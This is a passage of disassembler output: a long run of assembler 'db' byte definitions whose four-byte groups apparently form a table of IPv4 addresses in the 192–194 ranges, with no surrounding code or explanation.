0C0h ; db 0FBh ; db 43h ; C db 9 ; db 0C0h ; db 1Ah ; db 77h ; w db 4 ; db 0C0h ; db 1Ah ; db 77h ; w db 7 ; db 0C0h ; db 1Ah ; db 0D2h ; db 1 ; db 0C0h ; db 1Ah ; db 5Ch ; \ db 1Eh ; db 0C0h ; db 1Ch ; db 4 ; db 1Ah ; db 0C0h ; db 1Fh ; db 6Ah ; j db 5 ; db 0C0h ; db 1Fh ; db 0AEh ; db 2 ; db 0C0h ; db 1Fh ; db 0D8h ; db 9 ; db 0C0h ; db 1Fh ; db 7 ; db 5Ch ; \ db 0C0h ; db 1Fh ; db 7 ; db 5Dh ; ] db 0C0h ; db 21h ; ! db 73h ; s db 2 ; db 0C0h ; db 21h ; ! db 0Eh ; db 1Eh ; db 0C0h ; db 23h ; # db 9Ch ; db 0D4h ; db 0C0h ; db 23h ; # db 11h ; db 0Eh ; db 0C0h ; db 23h ; # db 11h ; db 2 ; db 0C0h ; db 23h ; # db 0E3h ; db 1Eh ; db 0C0h ; db 23h ; # db 0E4h ; db 1Eh ; db 0C0h ; db 23h ; # db 0E8h ; db 22h ; " db 0C0h ; db 23h ; # db 0F1h ; db 46h ; F db 0C0h ; db 23h ; # db 0F1h ; db 47h ; G db 0C0h ; db 23h ; # db 23h ; # db 1Fh ; db 0C0h ; db 23h ; # db 27h ; ' db 18h ; db 0C0h ; db 23h ; # db 33h ; 3 db 1Eh ; db 0C0h ; db 23h ; # db 52h ; R db 32h ; 2 db 0C0h ; db 24h ; $ db 78h ; x db 0Bh ; db 0C0h ; db 24h ; $ db 7Dh ; } db 2 ; db 0C0h ; db 24h ; $ db 8Fh ; db 3 ; db 0C0h ; db 24h ; $ db 90h ; db 85h ; db 0C0h ; db 24h ; $ db 94h ; db 11h ; db 0C0h ; db 24h ; $ db 1Ch ; db 1 ; db 0C0h ; db 29h ; ) db 1 ; db 0Ah ; db 0C0h ; db 29h ; ) db 1 ; db 1Fh ; db 0C0h ; db 29h ; ) db 94h ; db 23h ; # db 0C0h ; db 29h ; ) db 0DEh ; db 8 ; db 0C0h ; db 2Ah ; * db 0EEh ; db 2 ; db 0C0h ; db 2Ah ; * db 4 ; db 27h ; ' db 0C0h ; db 2Ah ; * db 52h ; R db 3Bh ; ; db 0C0h ; db 2Ah ; * db 5Dh ; ] db 1Eh ; db 0C0h ; db 2Bh ; + db 0D4h ; db 64h ; d db 0C0h ; db 2Bh ; + db 0EBh ; db 12h ; db 0C0h ; db 2Ch ; , db 20h ; db 1 ; db 0C0h ; db 2Ch ; , db 25h ; % db 1 ; db 0C0h ; db 2Ch ; , db 3Fh ; ? db 0C2h ; db 0C0h ; db 2Fh ; / db 0A7h ; db 0ADh ; db 0C0h ; db 2Fh ; / db 0F2h ; db 7 ; db 0C0h ; db 30h ; 0 db 79h ; y db 81h ; db 0C0h ; db 30h ; 0 db 0E8h ; db 11h ; db 0C0h ; db 5 ; db 0A6h ; db 0Ch ; db 0C0h ; db 5 ; db 12h ; db 0C3h ; db 0C0h ; db 5 ; db 12h ; db 46h ; F db 0C0h ; db 5 ; db 1Bh ; db 85h ; db 0C0h ; db 5 ; db 1Bh ; db 86h ; db 0C0h ; db 5 ; db 35h ; 5 db 0D1h ; db 0C0h ; db 5 ; db 6 ; db 1Eh ; db 0C0h ; db 32h ; 2 db 9Ah ; db 4 ; db 0C0h ; db 32h ; 2 db 11h ; db 2 ; db 0C0h ; db 32h ; 2 db 38h ; 8 db 9 ; db 0C0h ; db 32h ; 2 db 8 ; db 7 ; db 0C0h ; db 33h ; 3 db 90h ; db 6 ; db 0C0h ; db 33h ; 3 db 0FAh ; db 23h ; # db 0C0h ; db 33h ; 3 db 2Ah ; * db 11h ; db 0C0h ; db 34h ; 4 db 6Ah ; j db 6 ; db 0C0h ; db 34h ; 4 db 0ECh ; db 6 ; db 0C0h ; db 34h ; 4 db 47h ; G db 15h ; db 0C0h ; db 34h ; 4 db 47h ; G db 4 ; db 0C0h ; db 36h ; 6 db 0C1h ; db 85h ; db 0C0h ; db 36h ; 6 db 0E2h ; db 0Fh ; db 0C0h ; db 36h ; 6 db 0E2h ; db 10h ; db 0C0h ; db 36h ; 6 db 0FDh ; db 66h ; f db 0C0h ; db 37h ; 7 db 0EAh ; db 0Dh ; db 0C0h ; db 38h ; 8 db 0BFh ; db 3Fh ; ? db 0C0h ; db 3Ah ; : db 0C7h ; db 0Ah ; db 0C0h ; db 3Ah ; : db 0C7h ; db 11h ; db 0C0h ; db 3Ah ; : db 0C7h ; db 0ACh ; db 0C0h ; db 3Ah ; : db 0C7h ; db 0AEh ; db 0C0h ; db 3Ah ; : db 0C7h ; db 0B0h ; db 0C0h ; db 3Ah ; : db 0C7h ; db 0B2h ; db 0C0h ; db 3Ah ; : db 0CCh ; db 71h ; q db 0C0h ; db 3Ah ; : db 0CEh ; db 2 ; db 0C0h ; db 3Ah ; : db 0E2h ; db 7 ; db 0C0h ; db 6 ; db 8Fh ; db 1Dh ; db 0C0h ; db 6 ; db 8Fh ; db 1Eh ; db 0C0h ; db 6 ; db 3 ; db 1Dh ; db 0C0h ; db 6 ; db 7 ; db 8 ; db 0C0h ; db 3Dh ; = db 3Dh ; = db 28h ; ( db 0C0h ; db 3Fh ; ? db 64h ; d db 36h ; 6 db 0C0h ; db 41h ; A db 0B6h ; db 1Eh ; db 0C0h ; db 41h ; A db 0B6h ; db 4 ; db 0C0h ; db 41h ; A db 0B9h ; db 0Ah ; db 0C0h ; db 41h ; A db 0DAh ; db 0Eh ; db 0C0h ; db 41h ; A db 5Bh ; [ db 81h ; db 0C0h ; db 43h ; C db 0Eh ; db 0Fh ; db 0C0h ; db 43h ; C db 0Eh ; db 10h ; db 0C0h ; db 43h ; C db 0Eh ; db 11h ; db 0C0h ; db 43h ; C db 0FBh ; db 7 ; db 0C0h ; db 43h ; C db 50h ; P db 0Ah ; db 0C0h ; db 44h ; D db 0E3h ; db 46h ; F db 0C0h ; db 44h ; D db 0F8h ; db 11h ; db 0C0h ; db 44h ; D db 0F8h ; db 12h ; db 0C0h ; db 7 ; db 1 ; db 0Bh ; db 0C0h ; db 46h ; F db 0AFh ; db 6Eh ; n db 0C0h ; db 46h ; F db 0F5h ; db 62h ; b db 0C0h ; db 46h ; F db 39h ; 9 db 1Ch ; db 0C0h ; db 46h ; F db 4Fh ; O db 0Bh ; db 0C0h ; db 47h ; G db 94h ; db 0A6h ; db 0C0h ; db 47h ; G db 94h ; db 0C6h ; db 0C0h ; db 47h ; G db 0DCh ; db 0Ah ; db 0C0h ; db 47h ; G db 0DCh ; db 0Dh ; db 0C0h ; db 47h ; G db 0DCh ; db 9 ; db 0C0h ; db 49h ; I db 5 ; db 1 ; db 0C0h ; db 49h ; I db 35h ; 5 db 3 ; db 0C0h ; db 49h ; I db 35h ; 5 db 4 ; db 0C0h ; db 49h ; I db 3Dh ; = db 1 ; db 0C0h ; db 49h ; I db 3Dh ; = db 3 ; db 0C0h ; db 49h ; I db 8 ; db 4 ; db 0C0h ; db 4Bh ; K db 0Dh ; db 65h ; e db 0C0h ; db 4Bh ; K db 0Dh ; db 7Dh ; } db 0C0h ; db 4Bh ; K db 9Ch ; db 0F4h ; db 0C0h ; db 4Bh ; K db 9Ch ; db 0F5h ; db 0C0h ; db 4Bh ; K db 9Ch ; db 0FAh ; db 0C0h ; db 4Bh ; K db 9Eh ; db 34h ; 4 db 0C0h ; db 4Bh ; K db 17h ; db 43h ; C db 0C0h ; db 4Bh ; K db 1Ah ; db 0Fh ; db 0C0h ; db 4Bh ; K db 1Ah ; db 11h ; db 0C0h ; db 4Bh ; K db 42h ; B db 81h ; db 0C0h ; db 4Bh ; K db 47h ; G db 27h ; ' db 0C0h ; db 4Ch ; L db 90h ; db 0Eh ; db 0C0h ; db 4Ch ; L db 90h ; db 0Fh ; db 0C0h ; db 4Ch ; L db 90h ; db 11h ; db 0C0h ; db 4Ch ; L db 90h ; db 42h ; B db 0C0h ; db 4Ch ; L db 97h ; db 2 ; db 0C0h ; db 4Ch ; L db 98h ; db 9 ; db 0C0h ; db 4Ch ; L db 9Dh ; db 4 ; db 0C0h ; db 4Ch ; L db 0B0h ; db 9 ; db 0C0h ; db 4Ch ; L db 0B1h ; db 11h ; db 0C0h ; db 4Ch ; L db 0B1h ; db 19h ; db 0C0h ; db 4Ch ; L db 52h ; R db 81h ; db 0C0h ; db 4Ch ; L db 52h ; R db 82h ; db 0C0h ; db 4Dh ; M db 74h ; t db 3 ; db 0C0h ; db 4Dh ; M db 74h ; t db 48h ; H db 0C0h ; db 4Dh ; M db 0CDh ; db 0Ah ; db 0C0h ; db 4Dh ; M db 33h ; 3 db 3 ; db 0C0h ; db 4Dh ; M db 33h ; 3 db 5 ; db 0C0h ; db 4Dh ; M db 54h ; T db 20h ; db 0C0h ; db 4Dh ; M db 54h ; T db 27h ; ' db 0C0h ; db 52h ; R db 6Ch ; l db 26h ; & db 0C0h ; db 52h ; R db 71h ; q db 7 ; db 0C0h ; db 52h ; R db 0D0h ; db 36h ; 6 db 0C0h ; db 53h ; S db 9Fh ; db 0C1h ; db 0C0h ; db 53h ; S db 9Fh ; db 0C2h ; db 0C0h ; db 53h ; S db 0A6h ; db 0Bh ; db 0C0h ; db 53h ; S db 0BDh ; db 9 ; db 0C0h ; db 53h ; S db 0E0h ; db 82h ; db 0C0h ; db 53h ; S db 0E7h ; db 13h ; db 0C0h ; db 53h ; S db 0F0h ; db 0Ah ; db 0C0h ; db 54h ; T db 0Ah ; db 0Ah ; db 0C0h ; db 54h ; T db 0Ah ; db 3 ; db 0C0h ; db 54h ; T db 3Fh ; ? db 5 ; db 0C0h ; db 55h ; U db 9Ah ; db 4Eh ; N db 0C0h ; db 55h ; U db 10h ; db 0Fh ; db 0C0h ; db 56h ; V db 47h ; G db 0Ah ; db 0C0h ; db 56h ; V db 63h ; c db 64h ; d db 0C0h ; db 56h ; V db 63h ; c db 0C8h ; db 0C0h ; db 57h ; W db 6Ah ; j db 65h ; e db 0C0h ; db 57h ; W db 6Ch ; l db 3 ; db 0C0h ; db 57h ; W db 0B0h ; db 22h ; " db 0C0h ; db 57h ; W db 17h ; db 62h ; b db 0C0h ; db 57h ; W db 24h ; $ db 2 ; db 0C0h ; db 58h ; X db 7Ah ; z db 81h ; db 0C0h ; db 58h ; X db 0C1h ; db 90h ; db 0C0h ; db 58h ; X db 0C3h ; db 0Ah ; db 0C0h ; db 58h ; X db 8 ; db 96h ; db 0C0h ; db 9 ; db 30h ; 0 db 3 ; db 0C0h ; db 9 ; db 9 ; db 3 ; db 0C0h ; db 9 ; db 9 ; db 6 ; db 0C0h ; db 5Ah ; Z db 7Fh ;  db 2 ; db 0C0h ; db 5Ah ; Z db 7Fh ;  db 3 ; db 0C0h ; db 5Bh ; [ db 93h ; db 5 ; db 0C0h ; db 5Ch ; \ db 73h ; s db 8 ; db 0C0h ; db 5Ch ; \ db 7Ch ; | db 1 ; db 0C0h ; db 5Ch ; \ db 7Ch ; | db 3 ; db 0C0h ; db 5Ch ; \ db 81h ; db 1 ; db 0C0h ; db 5Ch ; \ db 8Ah ; db 23h ; # db 0C0h ; db 5Ch ; \ db 0Eh ; db 2 ; db 0C0h ; db 5Ch ; \ db 51h ; Q db 0Ah ; db 0C0h ; db 5Dh ; ] db 0 ; db 1 ; db 0C0h ; db 5Dh ; ] db 0 ; db 4 ; db 0C0h ; db 5Eh ; ^ db 7Bh ; { db 18h ; db 0C0h ; db 5Eh ; ^ db 0ADh ; db 85h ; db 0C0h ; db 5Eh ; ^ db 0CFh ; db 42h ; B db 0C0h ; db 5Eh ; ^ db 3 ; db 1 ; db 0C0h ; db 62h ; b db 50h ; P db 1 ; db 0C1h ; db 0 ; db 0 ; db 0C1h ; db 0C1h ; db 0 ; db 50h ; P db 0Bh ; db 0C1h ; db 1 ; db 0C1h ; db 0C2h ; db 0C1h ; db 0Ah ; db 42h ; B db 0C3h ; db 0C1h ; db 68h ; h db 70h ; p db 85h ; db 0C1h ; db 6Bh ; k db 0D2h ; db 35h ; 5 db 0C1h ; db 6Bh ; k db 0D2h ; db 36h ; 6 db 0C1h ; db 6Ch ; l db 89h ; db 2Dh ; - db 0C1h ; db 71h ; q db 0B9h ; db 0E3h ; db 0C1h ; db 71h ; q db 0B9h ; db 0E4h ; db 0C1h ; db 71h ; q db 0B9h ; db 0E5h ; db 0C1h ; db 71h ; q db 0B9h ; db 0E6h ; db 0C1h ; db 71h ; q db 0D4h ; db 26h ; & db 0C1h ; db 0Ch ; db 0B2h ; db 41h ; A db 0C1h ; db 78h ; x db 34h ; 4 db 0Bh ; db 0C1h ; db 7Ch ; | db 16h ; db 41h ; A db 0C1h ; db 7Ch ; | db 0E4h ; db 20h ; db 0C1h ; db 7Ch ; | db 53h ; S db 45h ; E db 0C1h ; db 7Dh ; } db 98h ; db 3 ; db 0C1h ; db 7Dh ; } db 0C0h ; db 51h ; Q db 0C1h ; db 7Eh ; ~ db 4 ; db 41h ; A db 0C1h ; db 7Fh ;  db 1 ; db 2 ; db 0C1h ; db 7Fh ;  db 1 ; db 9 ; db 0C1h ; db 7Fh ;  db 1Bh ; db 47h ; G db 0C1h ; db 80h ; db 51h ; Q db 2Dh ; - db 0C1h ; db 87h ; db 92h ; db 0Ah ; db 0C1h ; db 88h ; db 0 ; db 3 ; db 0C1h ; db 88h ; db 0C0h ; db 0Ah ; db 0C1h ; db 88h ; db 7 ; db 11h ; db 0C1h ; db 88h ; db 9 ; db 0F0h ; db 0C1h ; db 8Dh ; db 28h ; ( db 1 ; db 0C1h ; db 8Dh ; db 28h ; ( db 2Ah ; * db 0C1h ; db 8Dh ; db 43h ; C db 1 ; db 0C1h ; db 92h ; db 9Fh ; db 0A2h ; db 0C1h ; db 95h ; db 2Ch ; , db 31h ; 1 db 0C1h ; db 0Fh ; db 0F0h ; db 32h ; 2 db 0C1h ; db 96h ; db 0A6h ; db 32h ; 2 db 0C1h ; db 98h ; db 24h ; $ db 5 ; db 0C1h ; db 98h ; db 24h ; $ db 6 ; db 0C1h ; db 10h ; db 3 ; db 0Bh ; db 0C1h ; db 0A2h ; db 91h ; db 82h ; db 0C1h ; db 0A2h ; db 9Fh ; db 0C2h ; db 0C1h ; db 0A2h ; db 0F0h ; db 5 ; db 0C1h ; db 0A4h ; db 0A0h ; db 2 ; db 0C1h ; db 0A5h ; db 0FEh ; db 8 ; db 0C1h ; db 0A5h ; db 0FEh ; db 9 ; db 0C1h ; db 0A7h ; db 83h ; db 1 ; db 0C1h ; db 0ABh ; db 0FFh ; db 2 ; db 0C1h ; db 0ABh ; db 0FFh ; db 42h ; B db 0C1h ; db 0ABh ; db 0FFh ; db 4Dh ; M db 0C1h ; db 0AEh ; db 4Ah ; J db 29h ; ) db 0C1h ; db 0AEh ; db 4Bh ; K db 6Eh ; n db 0C1h ; db 0AEh ; db 4Bh ; K db 7Eh ; ~ db 0C1h ; db 0AEh ; db 4Bh ; K db 8Eh ; db 0C1h ; db 0AEh ; db 4Bh ; K db 92h ; db 0C1h ; db 0AEh ; db 4Bh ; K db 96h ; db 0C1h ; db 0AEh ; db 4Bh ; K db 9Ah ; db 0C1h ; db 0AEh ; db 4Bh ; K db 0A2h ; db 0C1h ; db 0AEh ; db 4Bh ; K db 0A6h ; db 0C1h ; db 0AEh ; db 4Bh ; K db 0AEh ; db 0C1h ; db 0AFh ; db 48h ; H db 9 ; db 0C1h ; db 0B4h ; db 24h ; $ db 0AAh ; db 0C1h ; db 0B9h ; db 3Ch ; < db 2Ah ; * db 0C1h ; db 0BDh ; db 0E0h ; db 2 ; db 0C1h ; db 0BDh ; db 0E7h ; db 0C2h ; db 0C1h ; db 0BDh ; db 0E7h ; db 2 ; db 0C1h ; db 0BEh ; db 0B6h ; db 23h ; # db 0C1h ; db 0BEh ; db 0C6h ; db 0Ah ; db 0C1h ; db 0BEh ; db 0C6h ; db 2 ; db 0C1h ; db 0C0h ; db 0E3h ; db 3 ; db 0C1h ; db 0C0h ; db 0FBh ; db 0Fh ; db 0C1h ; db 2 ; db 1 ; db 42h ; B db 0C1h ; db 2 ; db 1 ; db 48h ; H db 0C1h ; db 2 ; db 4 ; db 0F8h ; db 0C1h ; db 0C8h ; db 0Fh ; db 81h ; db 0C1h ; db 0C8h ; db 0Fh ; db 85h ; db 0C1h ; db 0CDh ; db 0F5h ; db 5 ; db 0C1h ; db 0CDh ; db 0F5h ; db 42h ; B db 0C1h ; db 0CDh ; db 0F5h ; db 8 ; db 0C1h ; db 0D0h ; db 0CAh ; db 0FAh ; db 0C1h ; db 0D2h ; db 12h ; db 12h ; db 0C1h ; db 0D2h ; db 12h ; db 14h ; db 0C1h ; db 0D2h ; db 13h ; db 13h ; db 0C1h ; db 0D2h ; db 13h ; db 0BEh ; db 0C1h ; db 0D3h ; db 3Eh ; > db 3Bh ; ; db 0C1h ; db 0D4h ; db 1 ; db 0Ah ; db 0C1h ; db 0D4h ; db 5Fh ; _ db 19h ; db 0C1h ; db 0D4h ; db 5Fh ; _ db 1Ah ; db 0C1h ; db 0D5h ; db 0EEh ; db 2 ; db 0C1h ; db 0D7h ; db 0F2h ; db 82h ; db 0C1h ; db 0D8h ; db 1 ; db 0Ah ; db 0C1h ; db 0D8h ; db 45h ; E db 0Ah ; db 0C1h ; db 0DBh ; db 0Fh ; db 11h ; db 0C1h ; db 0DBh ; db 0C1h ; db 82h ; db 0C1h ; db 0DBh ; db 0C1h ; db 87h ; db 0C1h ; db 0E0h ; db 0D1h ; db 1 ; db 0C1h ; db 0E1h ; db 0Ch ; db 3Ah ; : db 0C1h ; db 0E1h ; db 56h ; V db 1 ; db 0C1h ; db 0E3h ; db 1 ; db 1 ; db 0C1h ; db 0E3h ; db 0A2h ; db 0A7h ; db 0C1h ; db 0E5h ; db 0 ; db 28h ; ( db 0C1h ; db 0E5h ; db 0 ; db 2Ah ; * db 0C1h ; db 0E8h ; db 58h ; X db 11h ; db 0C1h ; db 0E9h ; db 0C0h ; db 11h ; db 0C1h ; db 0E9h ; db 30h ; 0 db 9 ; db 0C1h ; db 0F1h ; db 0 ; db 1 ; db 0C1h ; db 0F7h ; db 0B4h ; db 22h ; " db 0C1h ; db 0FCh ; db 13h ; db 0Ah ; db 0C1h ; db 0FCh ; db 13h ; db 0Bh ; db 0C1h ; db 1Eh ; db 12h ; db 2 ; db 0C1h ; db 26h ; & db 71h ; q db 3 ; db 0C1h ; db 4 ; db 3Ah ; : db 33h ; 3 db 0C1h ; db 4 ; db 3Ah ; : db 34h ; 4 db 0C1h ; db 28h ; ( db 0 ; db 0Ch ; db 0C1h ; db 28h ; ( db 38h ; 8 db 0F5h ; db 0C1h ; db 2Bh ; + db 2 ; db 1 ; db 0C1h ; db 2Bh ; + db 24h ; $ db 37h ; 7 db 0C1h ; db 2Bh ; + db 24h ; $ db 9 ; db 0C1h ; db 2Ch ; , db 4Fh ; O db 8 ; db 0C1h ; db 30h ; 0 db 0A9h ; db 28h ; ( db 0C1h ; db 31h ; 1 db 7Ch ; | db 7 ; db 0C1h ; db 5 ; db 0AFh ; db 0C2h ; db 0C1h ; db 5 ; db 0AFh ; db 0C3h ; db 0C1h ; db 32h ; 2 db 1Bh ; db 42h ; B db 0C1h ; db 33h ; 3 db 0Bh ; db 1 ; db 0C1h ; db 33h ; 3 db 0D0h ; db 0Dh ; db 0C1h ; db 33h ; 3 db 18h ; db 1 ; db 0C1h ; db 36h ; 6 db 0B9h ; db 63h ; c db 0C1h ; db 36h ; 6 db 0BDh ; db 3 ; db 0C1h ; db 36h ; 6 db 0EEh ; db 33h ; 3 db 0C1h ; db 38h ; 8 db 0F1h ; db 0Ch ; db 0C1h ; db 3Bh ; ; db 0C9h ; db 1Bh ; db 0C1h ; db 3Bh ; ; db 0C9h ; db 1Ch ; db 0C1h ; db 3Bh ; ; db 0C9h ; db 25h ; % db 0C1h ; db 6 ; db 0EEh ; db 2 ; db 0C1h ; db 3Ch ; < db 92h ; db 2 ; db 0C1h ; db 3Dh ; = db 0C4h ; db 83h ; db 0C1h ; db 3Dh ; = db 0C4h ; db 84h ; db 0C1h ; db 3Eh ; > db 73h ; s db 10h ; db 0C1h ; db 3Eh ; > db 9Dh ; db 42h ; B db 0C1h ; db 3Eh ; > db 3 ; db 0F7h ; db 0C1h ; db 3Fh ; ? db 69h ; i db 11h ; db 0C1h ; db 3Fh ; ? db 6Ah ; j db 67h ; g db 0C1h ; db 3Fh ; ? db 0D3h ; db 13h ; db 0C1h ; db 3Fh ; ? db 37h ; 7 db 1 ; db 0C1h ; db 3Fh ; ? db 58h ; X db 0Bh ; db 0C1h ; db 3Fh ; ? db 5Eh ; ^ db 14h ; db 0C1h ; db 40h ; @ db 0C1h ; db 7Ch ; | db 0C1h ; db 40h ; @ db 0C1h ; db 84h ; db 0C1h ; db 43h ; C db 4Fh ; O db 86h ; db 0C1h ; db 44h ; D db 3 ; db 0FCh ; db 0C1h ; db 45h ; E db 0Ah ; db 0BAh ; db 0C1h ; db 47h ; G db 1 ; db 2 ; db 0C1h ; db 48h ; H db 0B0h ; db 0Ah ; db 0C1h ; db 4Ah ; J db 0D0h ; db 89h ; db 0C1h ; db 4Ah ; J db 0D0h ; db 8Bh ; db 0C1h ; db 4Bh ; K db 4Bh ; K db 1 ; db 0C1h ; db 4Dh ; M db 2 ; db 42h ; B db 0C1h ; db 4Eh ; N db 0F0h ; db 1 ; db 0C1h ; db 51h ; Q db 53h ; S db 2 ; db 0C1h ; db 52h ; R db 0B3h ; db 12h ; db 0C1h ; db 55h ; U db 1 ; db 0Ch ; db 0C1h ; db 55h ; U db 3 ; db 32h ; 2 db 0C1h ; db 57h ; W db 64h ; d db 0Ch ; db 0C1h ; db 58h ; X db 2Ch ; , db 16h ; db 0C1h ; db 58h ; X db 2Ch ; , db 1Dh ; db 0C1h ; db 58h ; X db 2Ch ; , db 24h ; $ db 0C1h ; db 58h ; X db 2Ch ; , db 2Ah ; * db 0C1h ; db 9 ; db 86h ; db 2Ah ; * db 0C1h ; db 5Ah ; Z db 9 ; db 2 ; db 0C1h ; db 5Ch ; \ db 6Eh ; n db 1 ; db 0C1h ; db 5Ch ; \ db 96h ; db 3 ; db 0C1h ; db 5Ch ; \ db 1Eh ; db 13h ; db 0C1h ; db 62h ; b db 9 ; db 5 ; db 0C2h ; db 64h ; d db 0 ; db 1 ; db 0C2h ; db 64h ; d db 0 ; db 0Bh ; db 0C2h ; db 64h ; d db 0 ; db 6Fh ; o db 0C2h ; db 69h ; i db 0E0h ; db 1 ; db 0C2h ; db 69h ; i db 0E3h ; db 14h ; db 0C2h ; db 6Ah ; j db 8Fh ; db 42h ; B db 0C2h ; db 6Dh ; m db 6 ; db 42h ; B db 0C2h ; db 6Dh ; m db 9 ; db 63h ; c db 0C2h ; db 70h ; p db 62h ; b db 0D8h ; db 0C2h ; db 71h ; q db 3Bh ; ; db 40h ; @ db 0C2h ; db 75h ; u db 9Dh ; db 4 ; db 0C2h ; db 77h ; w db 80h ; db 41h ; A db 0C2h ; db 77h ; w db 80h ; db 42h ; B db 0C2h ; db 77h ; w db 0C0h ; db 22h ; " db 0C2h ; db 78h ; x db 0Ch ; db 60h ; ` db 0C2h ; db 78h ; x db 7Eh ; ~ db 2 ; db 0C2h ; db 7Bh ; { db 2Dh ; - db 61h ; a db 0C2h ; db 80h ; db 82h ; db 0FAh ; db 0C2h ; db 80h ; db 0ABh ; db 64h ; d db 0C2h ; db 80h ; db 0ABh ; db 65h ; e db 0C2h ; db 80h ; db 0ABh ; db 63h ; c db 0C2h ; db 80h ; db 0FDh ; db 1 ; db 0C2h ; db 85h ; db 3Ah ; : db 83h ; db 0C2h ; db 86h ; db 0 ; db 0Ch ; db 0C2h ; db 86h ; db 0 ; db 43h ; C db 0C2h ; db 87h ; db 0Dh ; db 3 ; db 0C2h ; db 8Ah ; db 0F0h ; db 0Bh ; db 0C2h ; db 8Fh ; db 0A1h ; db 6Bh ; k db 0C2h ; db 8Fh ; db 0A3h ; db 19h ; db 0C2h ; db 8Fh ; db 0A3h ; db 52h ; R db 0C2h ; db 94h ; db 1 ; db 0Ah ; db 0C2h ; db 94h ; db 8 ; db 0Ah ; db 0C2h ; db 95h ; db 0 ; db 9Dh ; db 0C2h ; db 95h ; db 0A0h ; db 1 ; db 0C2h ; db 97h ; db 0BEh ; db 47h ; G db 0C2h ; db 97h ; db 2 ; db 16h ; db 0C2h ; db 97h ; db 2 ; db 4Dh ; M db 0C2h ; db 97h ; db 0E0h ; db 7 ; db 0C2h ; db 97h ; db 0E4h ; db 2 ; db 0C2h ; db 97h ; db 0E4h ; db 32h ; 2 db 0C2h ; db 97h ; db 0FDh ; db 12h ; db 0C2h ; db 98h ; db 41h ; A db 0DEh ; db 0C2h ; db 99h ; db 0 ; db 12h ; db 0C2h ; db 99h ; db 0 ; db 33h ; 3 db 0C2h ; db 99h ; db 1 ; db 0Ah ; db 0C2h ; db 9Ah ; db 10h ; db 63h ; c db 0C2h ; db 9Ah ; db 0E6h ; db 4Ah ; J db 0C2h ; db 9Eh ; db 85h ; db 1 ; db 0C2h ; db 9Eh ; db 0A0h ; db 0Ah ; db 0C2h ; db 9Eh ; db 0BFh ; db 0FEh ; db 0C2h ; db 9Eh ; db 0E6h ; db 35h ; 5 db 0C2h ; db 9Eh ; db 0E6h ; db 36h ; 6 db 0C2h ; db 9Eh ; db 60h ; ` db 43h ; C db 0C2h ; db 9Eh ; db 61h ; a db 43h ; C db 0C2h ; db 9Fh ; db 49h ; I db 5 ; db 0C2h ; db 0A2h ; db 8Dh ; db 11h ; db 0C2h ; db 0A2h ; db 0Fh ; db 12h ; db 0C2h ; db 0A2h ; db 0A2h ; db 0C2h ; db 0C2h ; db 0A3h ; db 0FCh ; db 5 ; db 0C2h ; db 0A5h ; db 5Eh ; ^ db 1 ; db 0C2h ; db 0A5h ; db 5Eh ; ^ db 5 ; db 0C2h ; db 0A8h ; db 4 ; db 0DCh ; db 0C2h ; db 0A8h ; db 8 ; db 0DCh ; db 0C2h ; db 0AAh ; db 1 ; db 6 ; db 0C2h ; db 0AAh ; db 1 ; db 7 ; db 0C2h ; db 0AAh ; db 1 ; db 63h ; c db 0C2h ; db 0AFh ; db 73h ; s db 0Eh ; db 0C2h ; db 0B0h ; db 0E0h ; db 2 ; db 0C2h ; db 0B1h ; db 0A0h ; db 22h ; " db 0C2h ; db 0B1h ; db 0AAh ; db 2 ; db 0C2h ; db 0B1h ; db 0AAh ; db 22h ; " db 0C2h ; db 0B1h ; db 0D2h ; db 0D2h ; db 0C2h ; db 0B1h ; db 0D2h ; db 0D3h ; db 0C2h ; db 0B3h ; db 1 ; db 64h ; d db 0C2h ; db 0B3h ; db 1 ; db 65h ; e db 0C2h ; db 12h ; db 0E0h ; db 1 ; db 0C2h ; db 12h ; db 0E0h ; db 0A2h ; db 0C2h ; db 0B7h ; db 70h ; p db 82h ; db 0C2h ; db 0B7h ; db 70h ; p db 26h ; & db 0C2h ; db 0B7h ; db 70h ; p db 46h ; F db 0C2h ; db 0B7h ; db 80h ; db 23h ; # db 0C2h ; db 0B7h ; db 80h ; db 24h ; $ db 0C2h ; db 0B7h ; db 0DAh ; db 1 ; db 0C2h ; db 0B7h ; db 0DAh ; db 0Bh ; db 0C2h ; db 0B7h ; db 31h ; 1 db 2 ; db 0C2h ; db 0B8h ; db 0 ; db 2 ; db 0C2h ; db 0B8h ; db 0 ; db 8 ; db 0C2h ; db 0BCh ; db 67h ; g db 3 ; db 0C2h ; db 13h ; db 98h ; db 2 ; db 0C2h ; db 0C0h ; db 0BBh ; db 84h ; db 0C2h ; db 0C0h ; db 16h ; db 21h ; ! db 0C2h ; db 0C5h ; db 64h ; d db 17h ; db 0C2h ; db 0C5h ; db 51h ; Q db 4 ; db 0C2h ; db 2 ; db 0 ; db 2 ; db 0C2h ; db 2 ; db 0 ; db 1Eh ; db 0C2h ; db 2 ; db 0 ; db 3Ch ; < db 0C2h ; db 2 ; db 0E6h ; db 0E6h ; db 0C2h ; db 2 ; db 0E6h ; db 0E7h ; db 0C2h ; db 14h ; db 0 ; db 6Fh ; o db 0C2h ; db 14h ; db 0 ; db 72h ; r db 0C2h ; db 14h ; db 8 ; db 1 ; db 0C2h ; db 14h ; db 8 ; db 4 ; db 0C2h ; db 0CCh ; db 98h ; db 22h ; " db 0C2h ; db 0CCh ; db 9Fh ; db 1 ; db 0C2h ; db 0CDh ; db 0ACh ; db 0F2h ; db 0C2h ; db 0CFh ; db 0 ; db 1 ; db 0C2h ; db 0CFh ; db 0 ; db 81h ; db 0C2h ; db 0CFh ; db 6 ; db 1Eh ; db 0C2h ; db 15h ; db 4Ah ; J db 22h ; " db 0C2h ; db 0D5h ; db 40h ; @ db 21h ; ! db 0C2h ; db 0D5h ; db 4Ah ; J db 1 ; db 0C2h ; db 0D7h ; db 0E2h ; db 3Bh ; ; db 0C2h ; db 0D8h ; db 3Ch ; < db 2 ; db 0C2h ; db 0DBh ; db 0E3h ; db 2 ; db 0C2h ; db 16h ; db 0C2h ; db 0Eh ; db 0C2h ; db 16h ; db 0C2h ; db 12h ; db 0C2h ; db 16h ; db 0C2h ; db 13h ; db 0C2h ; db 0DDh ; db 63h ; c db 0D3h ; db 0C2h ; db 0E0h ; db 30h ; 0 db 1 ; db 0C2h ; db 0E1h ; db 46h ; F db 53h ; S db 0C2h ; db 0E1h ; db 46h ; F db 59h ; Y db 0C2h ; db 0E2h ; db 80h ; db 1 ; db 0C2h ; db 0E2h ; db 41h ; A db 4 ; db 0C2h ; db 0E4h ; db 1 ; db 1 ; db 0C2h ; db 0E4h ; db 2 ; db 1 ; db 0C2h ; db 0E4h ; db 2 ; db 23h ; # db 0C2h ; db 17h ; db 